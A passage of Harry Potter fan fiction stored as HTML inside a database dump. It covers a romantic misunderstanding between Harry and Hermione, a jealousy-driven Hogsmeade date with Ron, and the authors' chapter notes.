class="MsoNormal">&#8220;Hermione?&#8221; Harry\nasked, after staring for a moment. Ron continued to gape openly at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;May I sit down?&#8221;\nshe asked, trying to sound coy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Er&#8230;&#8221; Harry\nlooked around for a moment. &#8220;I suppose.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Hermione\nsat down, making sure to hike up the skirt like Blaise had told her to do.\nLooking across the table, she smiled at Ron. &#8220;Hi, I&#8217;m Hermione Granger.&#8221; She\nextended her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron Weasley.\nPleasure to meet such a lovely lady.&#8221; Ron replied, turning her hand and kissing\nthe back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched the\nexchange with narrowed eyes, he wasn&#8217;t the only one jealous, several girls from\nGryffindor were glaring at Hermione as well. &#8216;Why is she dressed like that?&#8217; he\nwondered silently as she let out a peal of laughter at Ron&#8217;s antics.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re funny.&#8221;\nShe giggled and Harry had to restrain himself from shaking the both of them\nviolently. He put a hand on Hermione&#8217;s arm, trying to keep his eyes from\naverting to her chest that was so prominently displayed in a too tight jumper.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I have a\nword with you?&#8221; he asked, trying to sound pleasant. &#8220;Outside, alone?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221;\nHermione got up and Harry gulped as the skirt rode up even further as she\nstepped over the bench. She latched herself onto his arm and he had to force\nhimself to keep from pushing her away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, what&#8217;s\ngoing on?&#8221; he asked as soon as he had shut the doors to the Great Hall behind\nthem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you\nmean?&#8221; she asked, his question flustering her a little. He was supposed to be\nsweeping her into his arms and kissing her, not asking questions.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This.&#8221; He\nindicated her clothes. &#8220;Why are you all dressed up this way? Your hair is\nstraight, and I&#8217;ve never seen you wear so much makeup.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t like\nit?&#8221; Hermione asked before she could stop herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;it&#8217;s not\nthat you don&#8217;t look good&#8230;&#8221; Harry tried to find the right words. &#8220;It&#8217;s just\nthat&#8230;this isn&#8217;t you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\naway fro a few long moments. &#8220;Maybe it is and you just never knew it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; Harry gripped\nher shoulders. &#8220;The Hermione I know would never act this way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Act what way?&#8221;\nshe asked, trying to keep from sounding upset.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like a flirt.&#8221;\nHarry replied. &#8220;The way you were with Ron, letting him kiss you, pulling up\nyour skirt&#8230;. What&#8217;s wrong with how you looked before?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s wrong\nwith that? Maybe I just got sick of people acting as if I&#8217;m invisible because\nI&#8217;m not pretty.&#8221; Hermione shot back angrily. &#8220;Maybe I&#8217;m tired of people calling\nme a bookworm.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There&#8217;s nothing\nwrong with being a bookworm, that means you&#8217;re considered smart, not a tramp!&#8221;\nHermione&#8217;s eyes widened and Harry realised he&#8217;d said the wrong thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I cannot believe\nyou said that.&#8221; Hermione said, her voice shaking. She could feel her insides\nburning, her eyes filling with tears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t mean&#8212; &#8220;\nHarry started to say, but Hermione shoved him aside and streaked down the\ncorridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was thankful\nit was Sunday and she would not have any classes, she wouldn&#8217;t have to face\nHarry anymore that day. A fresh sob rose in her throat as she ran into Blaise&#8217;s\nroom (she didn&#8217;t feel like facing any of her roommates) and fell on the bed.\nShe was so upset she couldn&#8217;t even feel good anymore about kissing Harry the\nnight before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He called me a\ntramp!&#8221; she muttered, brushing away tears. Hermione sat and cried for a while\nuntil she heard Blaise&#8217;s footsteps approaching the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;\nBlaise asked in shock, hurrying over to her. &#8220;What are you doing in here? Why\naren&#8217;t you with Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione raised\nher face from her knees, and then stood up. &#8220;He called me trampy.&#8221; Her face\ncrumpled as Blaise&#8217;s mouth dropped open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He WHAT?&#8221; Blaise\nasked angrily. &#8220;Oooh, I think I&#8217;m going to have some words with that boy.&#8221; For\nnow, however, she reached out and pulled her best friend into a big hug, and\nrocked her as she cried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise stomped\ndown the corridor, heading towards the main hallway. She had finally gotten\nHermione to calm down; the poor girl had cried herself to sleep. Blaise had\nleft her in her bed, and glancing up, had seen Harry heading towards the\nQuidditch field, broom in hand. At the door, she pulled her cloak around her\nand went down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry Potter!&#8221;\nshe called at the top of her lungs. Blaise saw him look down and then a moment\nlater, descend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi&#8230;Blaise right?&#8221;\nhe asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; She\nreplied coolly. &#8220;I need to have a word with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About Hermione.&#8221;\nHarry said. &#8220;I know, we had quite an argument this morning.&#8221; He pushed his hair\nback with his hand then rubbed his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise crossed\nher arms over her chest and narrowed her eyes. &#8220;You called her a tramp.&#8221; She\nsaid simply.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t mean\nto.&#8221; Harry replied. He stopped in his tracks and faced Blaise. &#8220;I just don&#8217;t\nunderstand why she would want to change how she looks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She wanted you\nto notice her.&#8221; Blaise said quietly. Harry looked stunned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you\nmean, she wanted me to notice her? I&#8217;ve noticed her since the day I met her!&#8221;\nhe cried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well after that\nlittle thing you and Ginny had right in front of her last night&#8230;&#8221; Blaise began\nbut Harry interrupted her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny!&#8221; he\ndropped his broom and covered his face, running his hands through his hair once\nagain. &#8220;Why would she think that I want Ginny? The only reason I even put up\nwith her is because she&#8217;s Ron&#8217;s sister, and I&#8217;ve been friends with him since\nour first year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise bit her\nlower lip, the whole realization of the misunderstanding coming to light.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was about to\ntell Hermione that I liked her when Ginny interrupted us.&#8221; Harry continued.\nBlaise was excited to hear that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You like her?&#8221;\nshe asked gleefully. This was great news!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A smile appeared\non Harry&#8217;s face. &#8220;Yeah, I really do.&#8221; He answered. &#8220;That&#8217;s why I was so\nconfused when she came down looking all flashy and&#8230;&#8221; he trailed off\nthoughtfully. &#8220;I&#8217;m not into her for her looks, although I do think she&#8217;s\ngorgeous.&#8221; He turned to look directly at Blaise. &#8220;Hermione is smart, she&#8217;s\nfunny, and she surprises me all the time, like on Valentine&#8217;s Day with the\nwhole Justin thing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise chuckled.\n&#8220;That was quite hilarious.&#8221; She said. &#8220;I&#8217;ll never forget how mad he was.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me either.&#8221;\nHarry grinned as well. &#8220;And last night, when I kissed her, well, I don&#8217;t even\nknow how to describe that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise grinned\ntoo, her earlier misgivings about Harry now gone. &#8220;Listen, I&#8217;m going to go try and\nfind Hermione. I&#8217;ll explain everything to her, and you two will be good by this\nevening.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You think so?&#8221;\nHarry was cheered up by this information. He wanted badly to work everything\nout with her, and he also wanted to kiss her again so much he could taste it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione is\npretty reasonable.&#8221; Blaise replied, waving as she skipped off in the direction\nof the castle. Running back up to her bedroom, she pushed open the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;\nBlaise sang happily. &#8220;I have some great news for you!&#8221; she stopped short as she\nnoticed that her bed was empty. &#8220;Herms?&#8221; she called. Turning, she ran down to\nthe Slytherin Girl&#8217;s Dormitory. &#8220;Hermione?&#8221; she opened the door, but only\nParvati Patil was inside. &#8220;Have you seen Hermione?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not since\nbreakfast.&#8221; Parvati replied. &#8220;She looked great&#8212; I saw her leaving with Harry\nPotter, maybe she&#8217;s with him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Blaise\nshut the door. Her next place to check was her bathroom, then the regular girls\nlavatory, but she still couldn&#8217;t find her best friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione splashed\nwater on her face and stared at her reflection. Rubbing her eyes, she washed\noff all traces of makeup.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oooh &#8211; you look\nAWFUL!&#8221; Moaning Myrtle said with spiteful delight in her voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go away would\nyou?&#8221; Hermione snapped. The only reason she&#8217;d gone to Myrtle&#8217;s bathroom was\nbecause it was the only place in the castle she knew Blaise wouldn&#8217;t check.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Touchy today\naren&#8217;t we?&#8221; Myrtle sniffed. &#8220;If I looked like that, I&#8217;d be crying too!&#8221; she let\nout one of her trademark moans and dove into her toilet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Finally.&#8221;\nHermione muttered to herself, splashing more water on her face. Watching as the\nrest of her makeup went down the drain, she sighed while looking at her\nreflection. &#8220;Plain old Hermione.&#8221; She said pitifully. &#8220;If I can&#8217;t get Harry to\nwant me when I look nice, there&#8217;s obviously no way he&#8217;s going to look at me\nnow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She brought her\nfingers back and combed through her hair, she liked it straight, but wouldn&#8217;t\ngo through the trouble to do it up every morning. Hermione turned the faucet on\nagain; letting warmer water rush through before pulling her locks around and\ngetting them wet so they&#8217;d curl back up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There, me\nagain.&#8221; Hermione looked glumly in the mirror once more at her plain reflection.\n&#8220;Plain old boring me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Boring&#8230;&#8221; Myrtle\nhad obviously come out of her toilet again, and was mocking Hermione from the\nfirst stall. Hermione rolled her eyes and decided to leave, she could tuck\nherself in one of the back corners of the library and not be seen for the rest\nof the day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione picked\nat her breakfast, she hadn&#8217;t been able to force herself to eat much since the\nnight before. Blaise had tried to talk to her, but Hermione had brushed her off\nand sat down the table a bit, not wanting to talk to anyone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; a\nvoice broke through her thoughts. She looked up to find Harry standing before\nher, looking contrite.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She said nothing,\njust gathered her books together and got up to leave.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, wait,\nplease, I really want to talk to you.&#8221; Harry pleaded, moving around her so her\npath was blocked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well maybe I\ndon&#8217;t want to talk to you.&#8221; Hermione replied coldly. She tried to step to the\nside when another body blocked her way.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi, Hermione.&#8221;\nRon Weasley grinned at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello Ron.&#8221; She\nsaid politely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I talk to\nyou a moment?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Hermione\nreplied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked at\nHarry. &#8220;Could you give us a minute?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked\npissed. &#8220;I guess.&#8221; He stepped away from the two of them, but listened keenly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was wondering if\nyou were planning on going to Hogsmeade this weekend.&#8221; Ron said, twisting his\nhands together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221;\nHermione shrugged. &#8220;I suppose so.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well would you\npossibly be interested in going with me?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gaped at\nhim. &#8220;I beg your pardon?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you want\nto go with me?&#8221; Ron asked again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She looked at him\nfor a long moment. &#8220;Is this a joke?&#8221; Out of the corner of her eye she could see\nHarry biting his lower lip, his fist was clenched at his side. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A joke? No, I\nswear.&#8221; Ron said. &#8220;I would really like to go with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHermione said. &#8220;I&#8217;d love to.&#8221; She said, raising her voice so Harry could hear\nit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great!&#8221; Ron\nlooked really happy. &#8220;Well&#8230;we can figure out where we&#8217;re going to meet later\nthis week, okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Hermione\nsmiled sincerely for the first time in a few days. Ron walked off and she\nturned, her eyes meeting Harry&#8217;s.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He felt like he\nwas going to be sick, Hermione had just agreed to go out with Ron! It should\nhave been him! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve got to go.&#8221;\nHe muttered, rushing off before he really did get ill.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AHHHH!!! No\nworries folks, there will NOT BE ANY R/HR IN THIS STORY!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We&#8217;ve got to add\nsome angst SOMEWHERE ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please don&#8217;t&#8217;\nforget to R/R!!!!!!</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText">Heaven also has a cookie up from the\nHogsmeade Pizza universe at her group&#8230;NC 17 rated, so please make sure you are\nof age to read it.</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>http://groups.yahoo.com/group/heavenfanfics\n&nbsp;</b></p>\n\n\n\n\n\n\n'),
	(78, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 6</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well, we\nmost heartily apologise for making you guys wait for this chapter. RL sometimes\ntakes its toll, Ryoko had to work on her original novel and Heaven had\nclasses/finals, so there was much going on in the last few weeks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks to those\nwho had so much patience. There were so many reviews that we&#8217;d rather just say a\ngreat big THANK YOU, rather than go through all the individual ones, because\nthat means we can get this chapter to you guys that much sooner!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I sure hope I&#8217;ll\nhave fun today in Hogsmeade.&#8221; Ron was saying as he pulled his weekend robes on.\n&#8220;I talked to Hermione yesterday and she said she was looking forward to it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glared at\nRon from the corner of his eye. He was hunched at the foot of his bed, trying\nto find a clean pair of socks in his trunk. Finding two mismatching ones, he\nrealised he didn&#8217;t care and slammed his trunk shut.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the\nmatter with you?&#8221; Ron stopped mid sentence and looked at Harry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing.&#8221; Harry\nmuttered shortly. &#8220;I&#8217;m going to breakfast.&#8221; He left the room without looking at\nanyone and headed down to the Great Hall. &nbsp;&#8220;Like I really want to hear you bragging\nanymore.&#8221; He said darkly to himself. &nbsp;Harry sat down and grabbed some toast. He\nmunched on it absentmindedly as his thoughts travelled to Hermione again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He had been\nthinking about her all week, and had spent countless times trying to get near\nher in class, but she was like a brick wall, tough and unmoving in her resolve\nnot to talk to him, much less look at him. Looking up now, Harry saw her\nwalking in with Blaise. He bit down hard on his lower lip as he took in the\nfact that Hermione was obviously ready for her &#8216;date&#8217; with Ron that day. She\nwore her hair tied back at the sides and a hint of makeup. Yet underneath it\nall, Harry could tell she wasn&#8217;t truly happy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s thoughts\nwere interrupted by the loud arrival of the rest of the students; a moment\nlater the platters had filled up down the table and everyone was eating.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione picked\nnervously at her breakfast, she was and she wasn&#8217;t looking forward to spending\nthe day with Ron. A slight feeling of guilt had been nagging at her all week\nlong, Hermione knew perfectly well the only reason she&#8217;d said yes to Ron was to\nmake Harry jealous.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, are\nyou sure you really want to go today?&#8221; Blaise asked her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nshrugged. &#8220;I am, sort of&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why don&#8217;t you just\ntalk to Harry?&#8221; Blaise rested her chin on her hand and leaned forward.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because Blaise.\nHe really hurt me when he said those things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He didn&#8217;t mean\nthem, you must know that.&#8221; Blaise said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione didn&#8217;t\nreply, instead she just finished off her cereal and stood up. &#8220;I&#8217;m going to the\nfront doors to meet him. I&#8217;ll see you later.&#8221; She said coolly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, don&#8217;t\ngo.&#8221; Blaise tried one more time. &#8220;Go talk to Harry and spend the day with him\ninstead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll see you\nlater.&#8221; Hermione repeated, ignoring what Blaise said. She left the Great Hall\nand stood next to the front doors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise watched\nher leave, a frown appearing across her pretty face. She couldn&#8217;t be too angry\nat Hermione; she was more upset on Harry&#8217;s behalf. How could Hermione know she\nhad recently begun to develop quite an attraction to the Gryffindor Quidditch\ncaptain when Blaise had never said a word on the topic? She turned and jumped,\nHarry had come up on her side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Blaise.&#8221; He\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Harry.&#8221; She\nreplied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230; did Hermione\nleave already?&#8221; Harry asked, hopeful that he could try and catch her one last\ntime.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just now.&#8221;\nBlaise motioned with her head towards the main hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You should have\nheard Ron talking about her this morning.&#8221; Harry&#8217;s lip curled slightly as he\nfolded his arms across his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise&#8217;s heart\nsank. &#8220;He really likes her?&#8221; her voice came out a little high pitched.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Apparently so.&#8221;\nThey both looked at each other and Harry&#8217;s eyes widened. &#8220;You like Ron!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re smarter\nthan I thought you were.&#8221; Blaise narrowed her eyes. &#8220;And I&#8217;ll thank you not to\nnoise that around either.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not a word.&#8221;\nHarry grinned then. &#8220;Well listen&#8230; I don&#8217;t know about you but I was just going\nto go down to Hogsmeade and mope. Want to go with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re not\nasking me to make Hermione jealous are you?&#8221; Blaise asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No! I swear!&#8221;\nHarry held his hands up. &#8220;Just as friends. We can mope together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise bit back a\nsmile. &#8220;All right.&#8221; She said. &#8220;I need to go back and get my money; I&#8217;ll meet\nyou by the front doors in ten minutes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once they got\ndown into Hogsmeade, both unconsciously began looking for Hermione and Ron. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They might be in\nZonko&#8217;s.&#8221; Harry pointed in the direction of the joke shop. &#8220;Ron&#8217;s brothers\nturned him into a roving prankster over the years and he goes there every time\nwe&#8217;re in Hogsmeade.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds good.&#8221;\nBlaise replied. They got in the store and immediately saw Ron and Hermione\nleaving through a side door. Harry and Blaise looked at each other, coming to\nan unspoken agreement to follow their friends. They were heading towards the\nThree Broomsticks, most likely for a butterbeer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do your brothers\nreally own that whole store?&#8221; Hermione was referring to Weasley&#8217;s Wizard\nWheezes in Diagon Alley. Ron had bragged about it while in Zonko&#8217;s, he was\ntrying to convince his brothers to expand to Hogsmeade. &#8220;I knew of it, but I\ndidn&#8217;t know it was owned by someone in your immediate family.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well they\nstarted developing ideas while they were still at Hogwarts; you&#8217;d have known\nall about it if you were in Gryffindor, the two of them were always pulling\nsome prank or another in the common room.&#8221; Ron said as they sat down at a\ncorner table together. &#8220;Mum wasn&#8217;t happy about it at first but they&#8217;re doing\nreally well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Madam Rosmerta\ncame over then, and they both ordered butterbeer. &#8220;So Hermione,&#8221; Ron leaned\nback in his chair. &#8220;Are any of your friends coming down today?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230; I don&#8217;t\nknow.&#8221; Hermione didn&#8217;t want to admit that she only had two friends, one of\nwhich she wasn&#8217;t talking to at the moment. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought you\nmight be meeting Blaise later or something.&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perhaps, if I\nrun into her.&#8221; Hermione replied. &#8220;I&#8217;m not sure if she was planning on coming\ndown today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you think she\nmight come here?&#8221; Ron sat up straight and took the tankard of 